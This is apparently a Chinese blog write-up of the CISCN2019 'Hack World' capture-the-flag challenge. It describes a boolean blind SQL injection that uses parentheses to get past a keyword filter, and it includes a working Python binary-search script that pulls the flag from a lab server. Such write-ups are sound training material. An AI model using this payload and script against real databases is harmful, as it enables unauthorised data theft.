[CISCN2019 华北赛区]Hack World

最新推荐文章于 2024-06-05 15:00:00 发布

D.MIND

最新推荐文章于 2024-06-05 15:00:00 发布

阅读量140

点赞数

分类专栏： SQL注入

DMIND

本文链接：https://blog.csdn.net/weixin_45669205/article/details/114609803

版权

SQL注入专栏收录该内容

17 篇文章 0 订阅

订阅专栏

应该算是bool盲注

这题过滤了许多东西，建议Fuzz测试一下，and or # - union
但是()可以用 if也可以

尝试 id=(length(database())>4)是成功回显id=1结果

 payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)

值得注意的是这里用 ()绕过空格
一个二分法的脚本：

import requests
url="http://b8f9001a-a646-4ff0-a940-8e7c928e9290.node3.buuoj.cn/index.php"
flag=""
for i in range(1,100):
    min=32
    max=128
    while 1:
        middle=min+((max-min)//2)
        if min == middle:
            flag+=chr(middle)
            print(flag)
            if chr(middle)=="}":
                exit()
            break
            

        payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)
        data={'id':payload}
        res=requests.post(url=url,data=data).text
        #print(res)
        if "glzjin wants a girlfriend" in res:
            max=middle
        else:
            min=middle